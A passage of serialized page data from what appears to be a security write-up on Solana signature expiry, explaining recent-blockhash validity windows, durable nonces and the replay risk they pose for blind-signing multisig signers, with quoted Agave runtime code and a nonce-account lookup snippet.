",{"type":23,"tag":55,"props":66190,"children":66193},{"href":66191,"rel":66192},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[59],[66194],{"type":29,"value":66195},"is defined here",{"type":29,"value":322},{"type":23,"tag":131,"props":66198,"children":66200},{"className":1639,"code":66199,"language":1638,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[66201],{"type":23,"tag":38,"props":66202,"children":66203},{"__ignoreMap":7},[66204,66212],{"type":23,"tag":141,"props":66205,"children":66206},{"class":143,"line":144},[66207],{"type":23,"tag":141,"props":66208,"children":66209},{"style":443},[66210],{"type":29,"value":66211},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":23,"tag":141,"props":66213,"children":66214},{"class":143,"line":180},[66215,66219,66223,66228,66232,66236,66240,66245,66249,66253],{"type":23,"tag":141,"props":66216,"children":66217},{"style":449},[66218],{"type":29,"value":12368},{"type":23,"tag":141,"props":66220,"children":66221},{"style":449},[66222],{"type":29,"value":37582},{"type":23,"tag":141,"props":66224,"children":66225},{"style":154},[66226],{"type":29,"value":66227}," MAX_PROCESSING_AGE",{"type":23,"tag":141,"props":66229,"children":66230},{"style":160},[66231],{"type":29,"value":114},{"type":23,"tag":141,"props":66233,"children":66234},{"style":725},[66235],{"type":29,"value":12409},{"type":23,"tag":141,"props":66237,"children":66238},{"style":160},[66239],{"type":29,"value":1674},{"type":23,"tag":141,"props":66241,"children":66242},{"style":154},[66243],{"type":29,"value":66244}," MAX_RECENT_BLOCKHASHES ",{"type":23,"tag":141,"props":66246,"children":66247},{"style":160},[66248],{"type":29,"value":3255},{"type":23,"tag":141,"props":66250,"children":66251},{"style":472},[66252],{"type":29,"value":6609},{"type":23,"tag":141,"props":66254,"children":66255},{"style":154},[66256],{"type":29,"value":1684},{"type":23,"tag":32,"props":66258,"children":66259},{},[66260,66262,66269,66271,66277],{"type":29,"value":66261},"For those curious, the logic ",{"type":23,"tag":55,"props":66263,"children":66266},{"href":66264,"rel":66265},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[59],[66267],{"type":29,"value":66268},"starts here",{"type":29,"value":66270}," and is quite straightforward to follow, ending in a ",{"type":23,"tag":38,"props":66272,"children":66274},{"className":66273},[],[66275],{"type":29,"value":66276},"is_hash_index_valid",{"type":29,"value":66278}," check.",{"type":23,"tag":131,"props":66280,"children":66282},{"className":1639,"code":66281,"language":1638,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n last_hash_index - hash_index \u003C= max_age as u64\n}\n",[66283],{"type":23,"tag":38,"props":66284,"children":66285},{"__ignoreMap":7},[66286,66365,66399],{"type":23,"tag":141,"props":66287,"children":66288},{"class":143,"line":144},[66289,66293,66298,66302,66307,66311,66315,66319,66324,66328,66332,66336,66341,66345,66349,66353,66357,66361],{"type":23,"tag":141,"props":66290,"children":66291},{"style":449},[66292],{"type":29,"value":18938},{"type":23,"tag":141,"props":66294,"children":66295},{"style":184},[66296],{"type":29,"value":66297}," is_hash_index_valid",{"type":23,"tag":141,"props":66299,"children":66300},{"style":154},[66301],{"type":29,"value":192},{"type":23,"tag":141,"props":66303,"children":66304},{"style":750},[66305],{"type":29,"value":66306},"last_hash_index",{"type":23,"tag":141,"props":66308,"children":66309},{"style":160},[66310],{"type":29,"value":114},{"type":23,"tag":141,"props":66312,"children":66313},{"style":725},[66314],{"type":29,"value":4534},{"type":23,"tag":141,"props":66316,"children":66317},{"style":154},[66318],{"type":29,"value":480},{"type":23,"tag":141,"props":66320,"children":66321},{"style":750},[66322],{"type":29,"value":66323},"max_age",{"type":23,"tag":141,"props":66325,"children":66326},{"style":160},[66327],{"type":29,"value":114},{"type":23,"tag":141,"props":66329,"children":66330},{"style":725},[66331],{"type":29,"value":12409},{"type":23,"tag":141,"props":66333,"children":66334},{"style":154},[66335],{"type":29,"value":480},{"type":23,"tag":141,"props":66337,"children":66338},{"style":750},[66339],{"type":29,"value":66340},"hash_index",{"type":23,"tag":141,"props":66342,"children":66343},{"style":160},[66344],{"type":29,"value":114},{"type":23,"tag":141,"props":66346,"children":66347},{"style":725},[66348],{"type":29,"value":4534},{"type":23,"tag":141,"props":66350,"children":66351},{"style":154},[66352],{"type":29,"value":1748},{"type":23,"tag":141,"props":66354,"children":66355},{"style":160},[66356],{"type":29,"value":12435},{"type":23,"tag":141,"props":66358,"children":66359},{"style":725},[66360],{"type":29,"value":10730},{"type":23,"tag":141,"props":66362,"children":66363},{"style":154},[66364],{"type":29,"value":1951},{"type":23,"tag":141,"props":66366,"children":66367},{"class":143,"line":180},[66368,66373,66377,66382,66386,66391,66395],{"type":23,"tag":141,"props":66369,"children":66370},{"style":750},[66371],{"type":29,"value":66372}," last_hash_index",{"type":23,"tag":141,"props":66374,"children":66375},{"style":160},[66376],{"type":29,"value":49734},{"type":23,"tag":141,"props":66378,"children":66379},{"style":750},[66380],{"type":29,"value":66381}," hash_index",{"type":23,"tag":141,"props":66383,"children":66384},{"style":160},[66385],{"type":29,"value":6872},{"type":23,"tag":141,"props":66387,"children":66388},{"style":750},[66389],{"type":29,"value":66390}," max_age",{"type":23,"tag":141,"props":66392,"children":66393},{"style":449},[66394],{"type":29,"value":7504},{"type":23,"tag":141,"props":66396,"children":66397},{"style":725},[66398],{"type":29,"value":11875},{"type":23,"tag":141,"props":66400,"children":66401},{"class":143,"line":205},[66402],{"type":23,"tag":141,"props":66403,"children":66404},{"style":154},[66405],{"type":29,"value":2573},{"type":23,"tag":32,"props":66407,"children":66408},{},[66409],{"type":29,"value":66410},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":23,"tag":355,"props":66412,"children":66413},{},[66414],{"type":23,"tag":32,"props":66415,"children":66416},{},[66417,66419],{"type":29,"value":66418},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":23,"tag":3998,"props":66420,"children":66421},{},[66422],{"type":29,"value":66423},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":23,"tag":32,"props":66425,"children":66426},{},[66427,66429,66434],{"type":29,"value":66428},"This means an attacker ",{"type":23,"tag":47,"props":66430,"children":66431},{},[66432],{"type":29,"value":66433},"must use",{"type":29,"value":66435}," a malicious signed transaction within a short timeframe.",{"type":23,"tag":8287,"props":66437,"children":66439},{"id":66438},"durable-nonce",[66440],{"type":29,"value":66441},"Durable Nonce",{"type":23,"tag":32,"props":66443,"children":66444},{},[66445,66447,66454],{"type":29,"value":66446},"The second type of signature ",{"type":23,"tag":55,"props":66448,"children":66451},{"href":66449,"rel":66450},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[59],[66452],{"type":29,"value":66453},"is a durable nonce",{"type":29,"value":66455},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":23,"tag":355,"props":66457,"children":66458},{},[66459],{"type":23,"tag":32,"props":66460,"children":66461},{},[66462,66464],{"type":29,"value":66463},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":23,"tag":3998,"props":66465,"children":66466},{},[66467],{"type":29,"value":66468},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":23,"tag":32,"props":66470,"children":66471},{},[66472,66474,66481],{"type":29,"value":66473},"If we examine the code ",{"type":23,"tag":55,"props":66475,"children":66478},{"href":66476,"rel":66477},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[59],[66479],{"type":29,"value":66480},"for recent blockhash validation",{"type":29,"value":66482},", we can also see the handling for durable nonces.",{"type":23,"tag":131,"props":66484,"children":66486},{"className":1639,"code":66485,"language":1638,"meta":7,"style":7}," let recent_blockhash = tx.message().recent_blockhash();\n if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n Ok(CheckedTransactionDetails {\n nonce: None,\n lamports_per_signature: hash_info.lamports_per_signature(),\n })\n } else if let Some((nonce, previous_lamports_per_signature)) = self\n .check_load_and_advance_message_nonce_account(\n tx.message(),\n next_durable_nonce,\n next_lamports_per_signature,\n )\n {\n Ok(CheckedTransactionDetails {\n nonce: Some(nonce),\n lamports_per_signature: previous_lamports_per_signature,\n })\n } else {\n error_counters.blockhash_not_found += 1;\n Err(TransactionError::BlockhashNotFound)\n }\n",[66487],{"type":23,"tag":38,"props":66488,"children":66489},{"__ignoreMap":7},[66490,66537,66603,66623,66643,66673,66681,66735,66752,66772,66784,66796,66804,66811,66830,66857,66877,66884,66899,66929,66958],{"type":23,"tag":141,"props":66491,"children":66492},{"class":143,"line":144},[66493,66497,66502,66506,66511,66515,66520,66524,66528,66533],{"type":23,"tag":141,"props":66494,"children":66495},{"style":449},[66496],{"type":29,"value":1659},{"type":23,"tag":141,"props":66498,"children":66499},{"style":750},[66500],{"type":29,"value":66501}," recent_blockhash",{"type":23,"tag":141,"props":66503,"children":66504},{"style":160},[66505],{"type":29,"value":1674},{"type":23,"tag":141,"props":66507,"children":66508},{"style":750},[66509],{"type":29,"value":66510}," tx",{"type":23,"tag":141,"props":66512,"children":66513},{"style":160},[66514],{"type":29,"value":322},{"type":23,"tag":141,"props":66516,"children":66517},{"style":184},[66518],{"type":29,"value":66519},"message",{"type":23,"tag":141,"props":66521,"children":66522},{"style":154},[66523],{"type":29,"value":12557},{"type":23,"tag":141,"props":66525,"children":66526},{"style":160},[66527],{"type":29,"value":322},{"type":23,"tag":141,"props":66529,"children":66530},{"style":184},[66531],{"type":29,"value":66532},"recent_blockhash",{"type":23,"tag":141,"props":66534,"children":66535},{"style":154},[66536],{"type":29,"value":1305},{"type":23,"tag":141,"props":66538,"children":66539},{"class":143,"line":180},[66540,66544,66548,66552,66556,66561,66565,66569,66574,66578,66583,66587,66591,66595,66599],{"type":23,"tag":141,"props":66541,"children":66542},{"style":148},[66543],{"type":29,"value":151},{"type":23,"tag":141,"props":66545,"children":66546},{"style":449},[66547],{"type":29,"value":25989},{"type":23,"tag":141,"props":66549,"children":66550},{"style":725},[66551],{"type":29,"value":25994},{"type":23,"tag":141,"props":66553,"children":66554},{"style":154},[66555],{"type":29,"value":192},{"type":23,"tag":141,"props":66557,"children":66558},{"style":750},[66559],{"type":29,"value":66560},"hash_info",{"type":23,"tag":141,"props":66562,"children":66563},{"style":154},[66564],{"type":29,"value":1748},{"type":23,"tag":141,"props":66566,"children":66567},{"style":160},[66568],{"type":29,"value":1377},{"type":23,"tag":141,"props":66570,"children":66571},{"style":750},[66572],{"type":29,"value":66573}," hash_queue",{"type":23,"tag":141,"props":66575,"children":66576},{"style":160},[66577],{"type":29,"value":322},{"type":23,"tag":141,"props":66579,"children":66580},{"style":184},[66581],{"type":29,"value":66582},"get_hash_info_if_valid",{"type":23,"tag":141,"props":66584,"children":66585},{"style":154},[66586],{"type":29,"value":192},{"type":23,"tag":141,"props":66588,"children":66589},{"style":750},[66590],{"type":29,"value":66532},{"type":23,"tag":141,"props":66592,"children":66593},{"style":154},[66594],{"type":29,"value":480},{"type":23,"tag":141,"props":66596,"children":66597},{"style":750},[66598],{"type":29,"value":66323},{"type":23,"tag":141,"props":66600,"children":66601},{"style":154},[66602],{"type":29,"value":13480},{"type":23,"tag":141,"props":66604,"children":66605},{"class":143,"line":205},[66606,66610,66614,66619],{"type":23,"tag":141,"props":66607,"children":66608},{"style":725},[66609],{"type":29,"value":13488},{"type":23,"tag":141,"props":66611,"children":66612},{"style":154},[66613],{"type":29,"value":192},{"type":23,"tag":141,"props":66615,"children":66616},{"style":725},[66617],{"type":29,"value":66618},"CheckedTransactionDetails",{"type":23,"tag":141,"props":66620,"children":66621},{"style":154},[66622],{"type":29,"value":1951},{"type":23,"tag":141,"props":66624,"children":66625},{"class":143,"line":218},[66626,66631,66635,66639],{"type":23,"tag":141,"props":66627,"children":66628},{"style":750},[66629],{"type":29,"value":66630}," nonce",{"type":23,"tag":141,"props":66632,"children":66633},{"style":160},[66634],{"type":29,"value":114},{"type":23,"tag":141,"props":66636,"children":66637},{"style":725},[66638],{"type":29,"value":26442},{"type":23,"tag":141,"props":66640,"children":66641},{"style":154},[66642],{"type":29,"value":2168},{"type":23,"tag":141,"props":66644,"children":66645},{"class":143,"line":227},[66646,66651,66655,66660,66664,66669],{"type":23,"tag":141,"props":66647,"children":66648},{"style":750},[66649],{"type":29,"value":66650}," lamports_per_signature",{"type":23,"tag":141,"props":66652,"children":66653},{"style":160},[66654],{"type":29,"value":114},{"type":23,"tag":141,"props":66656,"children":66657},{"style":750},[66658],{"type":29,"value":66659}," hash_info",{"type":23,"tag":141,"props":66661,"children":66662},{"style":160},[66663],{"type":29,"value":322},{"type":23,"tag":141,"props":66665,"children":66666},{"style":184},[66667],{"type":29,"value":66668},"lamports_per_signature",{"type":23,"tag":141,"props":66670,"children":66671},{"style":154},[66672],{"type":29,"value":2151},{"type":23,"tag":141,"props":66674,"children":66675},{"class":143,"line":241},[66676],{"type":23,"tag":141,"props":66677,"children":66678},{"style":154},[66679],{"type":29,"value":66680}," })\n",{"type":23,"tag":141,"props":66682,"children":66683},{"class":143,"line":262},[66684,66688,66692,66696,66700,66704,66708,66713,66717,66722,66726,66730],{"type":23,"tag":141,"props":66685,"children":66686},{"style":154},[66687],{"type":29,"value":14455},{"type":23,"tag":141,"props":66689,"children":66690},{"style":148},[66691],{"type":29,"value":1976},{"type":23,"tag":141,"props":66693,"children":66694},{"style":148},[66695],{"type":29,"value":14464},{"type":23,"tag":141,"props":66697,"children":66698},{"style":449},[66699],{"type":29,"value":25989},{"type":23,"tag":141,"props":66701,"children":66702},{"style":725},[66703],{"type":29,"value":25994},{"type":23,"tag":141,"props":66705,"children":66706},{"style":154},[66707],{"type":29,"value":29991},{"type":23,"tag":141,"props":66709,"children":66710},{"style":750},[66711],{"type":29,"value":66712},"nonce",{"type":23,"tag":141,"props":66714,"children":66715},{"style":154},[66716],{"type":29,"value":480},{"type":23,"tag":141,"props":66718,"children":66719},{"style":750},[66720],{"type":29,"value":66721},"previous_lamports_per_signature",{"type":23,"tag":141,"props":66723,"children":66724},{"style":154},[66725],{"type":29,"value":7513},{"type":23,"tag":141,"props":66727,"children":66728},{"style":160},[66729],{"type":29,"value":1377},{"type":23,"tag":141,"props":66731,"children":66732},{"style":449},[66733],{"type":29,"value":66734}," self\n",{"type":23,"tag":141,"props":66736,"children":66737},{"class":143,"line":271},[66738,66743,66748],{"type":23,"tag":141,"props":66739,"children":66740},{"style":160},[66741],{"type":29,"value":66742}," .",{"type":23,"tag":141,"props":66744,"children":66745},{"style":184},[66746],{"type":29,"value":66747},"check_load_and_advance_message_nonce_account",{"type":23,"tag":141,"props":66749,"children":66750},{"style":154},[66751],{"type":29,"value":2123},{"type":23,"tag":141,"props":66753,"children":66754},{"class":143,"line":293},[66755,66760,66764,66768],{"type":23,"tag":141,"props":66756,"children":66757},{"style":750},[66758],{"type":29,"value":66759}," tx",{"type":23,"tag":141,"props":66761,"children":66762},{"style":160},[66763],{"type":29,"value":322},{"type":23,"tag":141,"props":66765,"children":66766},{"style":184},[66767],{"type":29,"value":66519},{"type":23,"tag":141,"props":66769,"children":66770},{"style":154},[66771],{"type":29,"value":2151},{"type":23,"tag":141,"props":66773,"children":66774},{"class":143,"line":801},[66775,66780],{"type":23,"tag":141,"props":66776,"children":66777},{"style":750},[66778],{"type":29,"value":66779}," next_durable_nonce",{"type":23,"tag":141,"props":66781,"children":66782},{"style":154},[66783],{"type":29,"value":2168},{"type":23,"tag":141,"props":66785,"children":66786},{"class":143,"line":810},[66787,66792],{"type":23,"tag":141,"props":66788,"children":66789},{"style":750},[66790],{"type":29,"value":66791}," next_lamports_per_signature",{"type":23,"tag":141,"props":66793,"children":66794},{"style":154},[66795],{"type":29,"value":2168},{"type":23,"tag":141,"props":66797,"children":66798},{"class":143,"line":824},[66799],{"type":23,"tag":141,"props":66800,"children":66801},{"style":154},[66802],{"type":29,"value":66803}," )\n",{"type":23,"tag":141,"props":66805,"children":66806},{"class":143,"line":839},[66807],{"type":23,"tag":141,"props":66808,"children":66809},{"style":154},[66810],{"type":29,"value":224},{"type":23,"tag":141,"props":66812,"children":66813},{"class":143,"line":848},[66814,66818,66822,66826],{"type":23,"tag":141,"props":66815,"children":66816},{"style":725},[66817],{"type":29,"value":13488},{"type":23,"tag":141,"props":66819,"children":66820},{"style":154},[66821],{"type":29,"value":192},{"type":23,"tag":141,"props":66823,"children":66824},{"style":725},[66825],{"type":29,"value":66618},{"type":23,"tag":141,"props":66827,"children":66828},{"style":154},[66829],{"type":29,"value":1951},{"type":23,"tag":141,"props":66831,"children":66832},{"class":143,"line":2304},[66833,66837,66841,66845,66849,66853],{"type":23,"tag":141,"props":66834,"children":66835},{"style":750},[66836],{"type":29,"value":66630},{"type":23,"tag":141,"props":66838,"children":66839},{"style":160},[66840],{"type":29,"value":114},{"type":23,"tag":141,"props":66842,"children":66843},{"style":725},[66844],{"type":29,"value":25994},{"type":23,"tag":141,"props":66846,"children":66847},{"style":154},[66848],{"type":29,"value":192},{"type":23,"tag":141,"props":66850,"children":66851},{"style":750},[66852],{"type":29,"value":66712},{"type":23,"tag":141,"props":66854,"children":66855},{"style":154},[66856],{"type":29,"value":5410},{"type":23,"tag":141,"props":66858,"children":66859},{"class":143,"line":2313},[66860,66864,66868,66873],{"type":23,"tag":141,"props":66861,"children":66862},{"style":750},[66863],{"type":29,"value":66650},{"type":23,"tag":141,"props":66865,"children":66866},{"style":160},[66867],{"type":29,"value":114},{"type":23,"tag":141,"props":66869,"children":66870},{"style":750},[66871],{"type":29,"value":66872}," previous_lamports_per_signature",{"type":23,"tag":141,"props":66874,"children":66875},{"style":154},[66876],{"type":29,"value":2168},{"type":23,"tag":141,"props":66878,"children":66879},{"class":143,"line":2335},[66880],{"type":23,"tag":141,"props":66881,"children":66882},{"style":154},[66883],{"type":29,"value":66680},{"type":23,"tag":141,"props":66885,"children":66886},{"class":143,"line":2343},[66887,66891,66895],{"type":23,"tag":141,"props":66888,"children":66889},{"style":154},[66890],{"type":29,"value":14455},{"type":23,"tag":141,"props":66892,"children":66893},{"style":148},[66894],{"type":29,"value":1976},{"type":23,"tag":141,"props":66896,"children":66897},{"style":154},[66898],{"type":29,"value":1951},{"type":23,"tag":141,"props":66900,"children":66901},{"class":143,"line":2352},[66902,66907,66911,66916,66921,66925],{"type":23,"tag":141,"props":66903,"children":66904},{"style":750},[66905],{"type":29,"value":66906}," error_counters",{"type":23,"tag":141,"props":66908,"children":66909},{"style":160},[66910],{"type":29,"value":322},{"type":23,"tag":141,"props":66912,"children":66913},{"style":154},[66914],{"type":29,"value":66915},"blockhash_not_found ",{"type":23,"tag":141,"props":66917,"children":66918},{"style":160},[66919],{"type":29,"value":66920},"+=",{"type":23,"tag":141,"props":66922,"children":66923},{"style":472},[66924],{"type":29,"value":3198},{"type":23,"tag":141,"props":66926,"children":66927},{"style":154},[66928],{"type":29,"value":1684},{"type":23,"tag":141,"props":66930,"children":66931},{"class":143,"line":2421},[66932,66936,66940,66945,66949,66954],{"type":23,"tag":141,"props":66933,"children":66934},{"style":725},[66935],{"type":29,"value":13531},{"type":23,"tag":141,"props":66937,"children":66938},{"style":154},[66939],{"type":29,"value":192},{"type":23,"tag":141,"props":66941,"children":66942},{"style":725},[66943],{"type":29,"value":66944},"TransactionError",{"type":23,"tag":141,"props":66946,"children":66947},{"style":160},[66948],{"type":29,"value":2141},{"type":23,"tag":141,"props":66950,"children":66951},{"style":725},[66952],{"type":29,"value":66953},"BlockhashNotFound",{"type":23,"tag":141,"props":66955,"children":66956},{"style":154},[66957],{"type":29,"value":758},{"type":23,"tag":141,"props":66959,"children":66960},{"class":143,"line":2429},[66961],{"type":23,"tag":141,"props":66962,"children":66963},{"style":154},[66964],{"type":29,"value":299},{"type":23,"tag":32,"props":66966,"children":66967},{},[66968],{"type":29,"value":66969},"The documentation does a good job of explaining how they work.",{"type":23,"tag":355,"props":66971,"children":66972},{},[66973],{"type":23,"tag":32,"props":66974,"children":66975},{},[66976],{"type":29,"value":66977},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":23,"tag":32,"props":66979,"children":66980},{},[66981,66983,66990],{"type":29,"value":66982},"Durable nonces are created and managed ",{"type":23,"tag":55,"props":66984,"children":66987},{"href":66985,"rel":66986},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[59],[66988],{"type":29,"value":66989},"by the system program",{"type":29,"value":66991},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":23,"tag":32,"props":66993,"children":66994},{},[66995,66997,67004],{"type":29,"value":66996},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":23,"tag":55,"props":66998,"children":67001},{"href":66999,"rel":67000},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[59],[67002],{"type":29,"value":67003},"based on the current blockhash",{"type":29,"value":67005},", and cannot be predicted in advance.",{"type":23,"tag":131,"props":67007,"children":67009},{"className":1639,"code":67008,"language":1638,"meta":7,"style":7}," let hash_queue = self.blockhash_queue.read().unwrap();\n let last_blockhash = hash_queue.last_hash();\n let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[67010],{"type":23,"tag":38,"props":67011,"children":67012},{"__ignoreMap":7},[67013,67065,67098],{"type":23,"tag":141,"props":67014,"children":67015},{"class":143,"line":144},[67016,67020,67024,67028,67032,67036,67041,67045,67049,67053,67057,67061],{"type":23,"tag":141,"props":67017,"children":67018},{"style":449},[67019],{"type":29,"value":1659},{"type":23,"tag":141,"props":67021,"children":67022},{"style":750},[67023],{"type":29,"value":66573},{"type":23,"tag":141,"props":67025,"children":67026},{"style":160},[67027],{"type":29,"value":1674},{"type":23,"tag":141,"props":67029,"children":67030},{"style":449},[67031],{"type":29,"value":12475},{"type":23,"tag":141,"props":67033,"children":67034},{"style":160},[67035],{"type":29,"value":322},{"type":23,"tag":141,"props":67037,"children":67038},{"style":154},[67039],{"type":29,"value":67040},"blockhash_queue",{"type":23,"tag":141,"props":67042,"children":67043},{"style":160},[67044],{"type":29,"value":322},{"type":23,"tag":141,"props":67046,"children":67047},{"style":184},[67048],{"type":29,"value":59121},{"type":23,"tag":141,"props":67050,"children":67051},{"style":154},[67052],{"type":29,"value":12557},{"type":23,"tag":141,"props":67054,"children":67055},{"style":160},[67056],{"type":29,"value":322},{"type":23,"tag":141,"props":67058,"children":67059},{"style":184},[67060],{"type":29,"value":2328},{"type":23,"tag":141,"props":67062,"children":67063},{"style":154},[67064],{"type":29,"value":1305},{"type":23,"tag":141,"props":67066,"children":67067},{"class":143,"line":180},[67068,67072,67077,67081,67085,67089,67094],{"type":23,"tag":141,"props":67069,"children":67070},{"style":449},[67071],{"type":29,"value":1659},{"type":23,"tag":141,"props":67073,"children":67074},{"style":750},[67075],{"type":29,"value":67076}," last_blockhash",{"type":23,"tag":141,"props":67078,"children":67079},{"style":160},[67080],{"type":29,"value":1674},{"type":23,"tag":141,"props":67082,"children":67083},{"style":750},[67084],{"type":29,"value":66573},{"type":23,"tag":141,"props":67086,"children":67087},{"style":160},[67088],{"type":29,"value":322},{"type":23,"tag":141,"props":67090,"children":67091},{"style":184},[67092],{"type":29,"value":67093},"last_hash",{"type":23,"tag":141,"props":67095,"children":67096},{"style":154},[67097],{"type":29,"value":1305},{"type":23,"tag":141,"props":67099,"children":67100},{"class":143,"line":205},[67101,67105,67110,67114,67119,67123,67128,67132,67136,67141],{"type":23,"tag":141,"props":67102,"children":67103},{"style":449},[67104],{"type":29,"value":1659},{"type":23,"tag":141,"props":67106,"children":67107},{"style":750},[67108],{"type":29,"value":67109}," next_durable_nonce",{"type":23,"tag":141,"props":67111,"children":67112},{"style":160},[67113],{"type":29,"value":1674},{"type":23,"tag":141,"props":67115,"children":67116},{"style":725},[67117],{"type":29,"value":67118}," DurableNonce",{"type":23,"tag":141,"props":67120,"children":67121},{"style":160},[67122],{"type":29,"value":2141},{"type":23,"tag":141,"props":67124,"children":67125},{"style":184},[67126],{"type":29,"value":67127},"from_blockhash",{"type":23,"tag":141,"props":67129,"children":67130},{"style":154},[67131],{"type":29,"value":192},{"type":23,"tag":141,"props":67133,"children":67134},{"style":160},[67135],{"type":29,"value":1770},{"type":23,"tag":141,"props":67137,"children":67138},{"style":750},[67139],{"type":29,"value":67140},"last_blockhash",{"type":23,"tag":141,"props":67142,"children":67143},{"style":154},[67144],{"type":29,"value":2496},{"type":23,"tag":32,"props":67146,"children":67147},{},[67148,67150,67155],{"type":29,"value":67149},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":23,"tag":47,"props":67151,"children":67152},{},[67153],{"type":29,"value":67154},"can",{"type":29,"value":67156}," be saved and reused.",{"type":23,"tag":24,"props":67158,"children":67160},{"id":67159},"threat-model",[67161],{"type":29,"value":67162},"Threat Model",{"type":23,"tag":32,"props":67164,"children":67165},{},[67166],{"type":29,"value":67167},"Let's consider a simplified form of the original question.",{"type":23,"tag":116,"props":67169,"children":67170},{},[67171,67176,67181],{"type":23,"tag":120,"props":67172,"children":67173},{},[67174],{"type":29,"value":67175},"We have a N/M multisig",{"type":23,"tag":120,"props":67177,"children":67178},{},[67179],{"type":29,"value":67180},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":23,"tag":120,"props":67182,"children":67183},{},[67184],{"type":29,"value":67185},"We can accurately query chain state.",{"type":23,"tag":32,"props":67187,"children":67188},{},[67189],{"type":29,"value":67190},"Can we safely sign transactions?",{"type":23,"tag":32,"props":67192,"children":67193},{},[67194],{"type":29,"value":67195},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":23,"tag":32,"props":67197,"children":67198},{},[67199,67201,67207,67209,67216],{"type":29,"value":67200},"Durable nonces require an onchain account, and it's possible to use a ",{"type":23,"tag":38,"props":67202,"children":67204},{"className":67203},[],[67205],{"type":29,"value":67206},"getProgramAccounts",{"type":29,"value":67208}," call to validate if your signer ",{"type":23,"tag":55,"props":67210,"children":67213},{"href":67211,"rel":67212},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[59],[67214],{"type":29,"value":67215},"has an associated durable nonce",{"type":29,"value":322},{"type":23,"tag":131,"props":67218,"children":67220},{"className":34401,"code":67219,"language":34403,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n // The system program owns all nonce accounts.\n SYSTEM_PROGRAM_ADDRESS,\n {\n filters: [\n {\n // Nonce accounts are exactly 80 bytes long\n dataSize: 80,\n },\n {\n // The authority's 32-byte public key is written\n // into bytes 8-40 of the nonce's account data.\n memcmp: {\n bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n offset: 8,\n },\n },\n ],\n }\n);\n",[67221],{"type":23,"tag":38,"props":67222,"children":67223},{"__ignoreMap":7},[67224,67271,67307,67315,67327,67335,67347,67355,67363,67380,67387,67394,67402,67410,67422,67448,67465,67472,67479,67487,67494],{"type":23,"tag":141,"props":67225,"children":67226},{"class":143,"line":144},[67227,67231,67236,67240,67244,67249,67253,67258,67262,67267],{"type":23,"tag":141,"props":67228,"children":67229},{"style":449},[67230],{"type":29,"value":8334},{"type":23,"tag":141,"props":67232,"children":67233},{"style":750},[67234],{"type":29,"value":67235}," connection",{"type":23,"tag":141,"props":67237,"children":67238},{"style":160},[67239],{"type":29,"value":1674},{"type":23,"tag":141,"props":67241,"children":67242},{"style":449},[67243],{"type":29,"value":30401},{"type":23,"tag":141,"props":67245,"children":67246},{"style":184},[67247],{"type":29,"value":67248}," Connection",{"type":23,"tag":141,"props":67250,"children":67251},{"style":154},[67252],{"type":29,"value":192},{"type":23,"tag":141,"props":67254,"children":67255},{"style":184},[67256],{"type":29,"value":67257},"clusterApiUrl",{"type":23,"tag":141,"props":67259,"children":67260},{"style":154},[67261],{"type":29,"value":192},{"type":23,"tag":141,"props":67263,"children":67264},{"style":828},[67265],{"type":29,"value":67266},"'testnet'",{"type":23,"tag":141,"props":67268,"children":67269},{"style":154},[67270],{"type":29,"value":5897},{"type":23,"tag":141,"props":67272,"children":67273},{"class":143,"line":180},[67274,67278,67283,67287,67291,67295,67299,67303],{"type":23,"tag":141,"props":67275,"children":67276},{"style":449},[67277],{"type":29,"value":8334},{"type":23,"tag":141,"props":67279,"children":67280},{"style":750},[67281],{"type":29,"value":67282}," nonceAccounts",{"type":23,"tag":141,"props":67284,"children":67285},{"style":160},[67286],{"type":29,"value":1674},{"type":23,"tag":141,"props":67288,"children":67289},{"style":148},[67290],{"type":29,"value":34682},{"type":23,"tag":141,"props":67292,"children":67293},{"style":750},[67294],{"type":29,"value":67235},{"type":23,"tag":141,"props":67296,"children":67297},{"style":154},[67298],{"type":29,"value":322},{"type":23,"tag":141,"props":67300,"children":67301},{"style":184},[67302],{"type":29,"value":67206},{"type":23,"tag":141,"props":67304,"children":67305},{"style":154},[67306],{"type":29,"value":2123},{"type":23,"tag":141,"props":67308,"children":67309},{"class":143,"line":205},[67310],{"type":23,"tag":141,"props":67311,"children":67312},{"style":443},[67313],{"type":29,"value":67314}," // The system program 